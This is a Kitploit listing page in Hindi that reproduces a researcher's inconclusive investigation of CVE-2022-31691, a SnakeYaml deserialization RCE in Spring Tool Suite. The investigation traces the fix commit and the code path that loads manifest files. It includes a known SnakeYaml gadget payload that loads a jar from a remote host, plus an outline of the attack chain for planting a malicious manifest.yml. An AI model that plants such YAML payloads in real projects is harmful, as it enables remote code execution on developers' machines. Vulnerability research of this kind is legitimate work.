Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/blipzip/cve-2022-31691
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेपर और शोधलर्निंग और शिक्षा
GitHubblipzip/cve-2022-31691

CVE-2022-31691

CVE-2022-31691 पर मेरी (अभी तक अनिर्णायक) जाँच का एक विवरण

रिपॉजिटरी देखें
113 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-31691

CVE-2022-31691 में मेरी (अब तक अनिर्णायक) जाँच का विवरण।

पृष्ठभूमि

मैं Eclipse के लिए Spring Tool Suite (STS) का नियमित उपयोगकर्ता हूँ, और नए Spring Boot प्रोजेक्ट आरंभ करने के लिए उस पर निर्भर रहता हूँ। यह भेद्यता (देखें https://tanzu.vmware.com/security/cve-2022-31691) एक RCE है जो yaml कॉन्फ़िगरेशन फ़ाइल से सामग्री को असुरक्षित रूप से लोड करने के माध्यम से उत्पन्न की जा सकती है।

SnakeYaml Java के लिए एक बहुत ही सामान्य yaml पार्सर और एमिटर है। हालाँकि, किसी भी marshalling/unmarshalling प्रक्रिया की तरह, यहाँ हमेशा जोखिम रहता है कि अवांछित सामग्री सीधे मेमोरी में लोड हो सकती है। SnakeYaml भी इससे अलग नहीं है - देखें https://code.google.com/archive/p/snakeyaml/wikis/Documentation.wiki#Tutorial।

root@kitploit:~
Loading YAML
Warning: It is not safe to call Yaml.load() with any data received from an untrusted source!
The method Yaml.load() converts a YAML document to a Java object.

इसे ध्यान में रखते हुए, प्रोजेक्ट मेंटेनर्स ने एक SafeConstructor विधि जोड़ी:

root@kitploit:~
Note if you want to limit objects to standard Java objects like List or Long you need to use SafeConstructor.
Yaml yaml = new Yaml(new SafeConstructor());

इसका तर्क काफी स्पष्ट है, लेकिन इस सलाह का स्पष्ट रूप से पालन नहीं किया जा रहा है। असुरक्षित लोडिंग प्रथाओं के उदाहरण देखने के लिए आपको दूर जाने की आवश्यकता नहीं है। यहाँ तक कि Baeldung (Spring पर जानकारी का एक बेहतरीन स्रोत) भी अपनी गाइड में इसका उल्लेख करने में विफल रहता है:

https://www.baeldung.com/java-snake-yaml#basic-usage।

इसका शोषण करने के लिए, मुझे इस कंस्ट्रक्टर से एक ऐसी वस्तु को unmarshall करवाना होगा जिस पर मेरा नियंत्रण हो। सौभाग्य से, दूसरों ने पहले ही यहाँ मेहनत कर ली है। https://github.com/artsploit/yaml-payload SnakeYaml शोषण पेलोड उत्पन्न करने के लिए एक बहुत ही सरल प्रोजेक्ट है, जैसे https://github.com/mbechler/marshalsec। इसका तर्क है:

  • artsploit लाइब्रेरी का उपयोग करके एक gadget exploit jar उत्पन्न करें
  • उस exploit jar को एक स्थानीय वेबसर्वर पर होस्ट करें
  • एक दुर्भावनापूर्ण yaml फ़ाइल बनाएँ जो उस jar को मेमोरी में लोड करने को ट्रिगर करे
root@kitploit:~
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
  ]]
]
  • पता लगाएँ कि कौन सी yaml फ़ाइलें STS द्वारा असुरक्षित तरीके से लोड की जा रही हैं
  • एक eclipse प्रोजेक्ट बनाएँ जिसमें यह दुर्भावनापूर्ण yaml फ़ाइल शामिल हो, और सुनिश्चित करें कि यह कोड निष्पादन प्राप्त करने के लिए उपरोक्त आक्रमण श्रृंखला का पालन करे।

STS में बदलाव

कमिट खोजें

यह भेद्यता STS संस्करण 4.16.1 में ठीक कर दी गई थी। इस संस्करण के कमिट्स पर एक त्वरित नज़र इस बात के कुछ उपयोगी संकेत देती है कि क्या ठीक किया गया था - https://github.com/spring-projects/sts4/compare/4.16.0.RELEASE...4.16.1.RELEASE

इस कमिट पर दिया गया संदेश - "Use SafeConstructor in Snakeyaml YAML constructors" इस बात का अच्छा संकेत है कि क्या ठीक किया गया है।

बिल्कुल, यहाँ वह स्थान है जहाँ SafeConstructor प्रतिस्थापित किया गया है।

root@kitploit:~
YamlASTProvider parser = new YamlASTProvider(new Yaml(new SafeConstructor()));

यदि मैं इसका शोषण करने में रुचि रखता हूँ, तो मुझे इस SnakeYaml कंस्ट्रक्टर में कुछ दुर्भावनापूर्ण सामग्री डालनी होगी, इसलिए मुझे यह पता लगाना होगा कि इसे कहाँ से कॉल किया जाता है।

पता लगाएँ कि इनपुट कहाँ से आता है

SnakeYaml ऑब्जेक्ट निर्माण को InputStream ऑब्जेक्ट फीड किया जाता है, जो getInputStream() विधि द्वारा बनाया जाता है।

getInputStream() यह निर्धारित करने के लिए getManifestFile() को कॉल करता है कि कौन सी manifest फ़ाइल लोड करनी है।

getManifestFile() या तो manifest फ़ाइल का स्थान लौटाता है (यदि कंस्ट्रक्टर में निर्दिष्ट है), या null लौटाता है।

ApplicationManifestHandler क्लास CloudFoundryBootDashModel क्लास में यहाँ प्रारंभ की जाती है, और उसे एक मान पारित किया जाता है जो resolveDeploymentProperties विधि के लिए कंस्ट्रक्टर में निर्धारित मान से व्युत्पन्न होता है यहाँ।

अब तक की मेरी स्थिति - अवरुद्ध!

मुझे पूरा यकीन है कि मुझे कुछ CloudFoundry कॉन्फ़िगरेशन स्थापित करने की आवश्यकता है ताकि यह मेरी दुर्भावनापूर्ण manifest.yml फ़ाइल को लोड/कॉल करने का प्रयास करे।

पता चला है कि CloudFoundry एक मरती हुई तकनीक है, (मेरी धारणा है) Kubernetes और इसी तरह की चीज़ों के कारण। मुझे CF कनेक्शन बनाने के लिए किसी भी प्रकार का सार्वजनिक प्लेटफ़ॉर्म नहीं मिल रहा है, इसलिए मैं यहाँ से वास्तव में चीज़ों का परीक्षण नहीं कर सकता।

अगला

CloudFoundry का एक स्थानीय डेवलपमेंट इंस्टेंस चालू करने पर विचार करें, भले ही केवल भेद्यता और शोषण के बारे में मेरी समझ का परीक्षण करने के लिए।

टूल डाउनलोड करें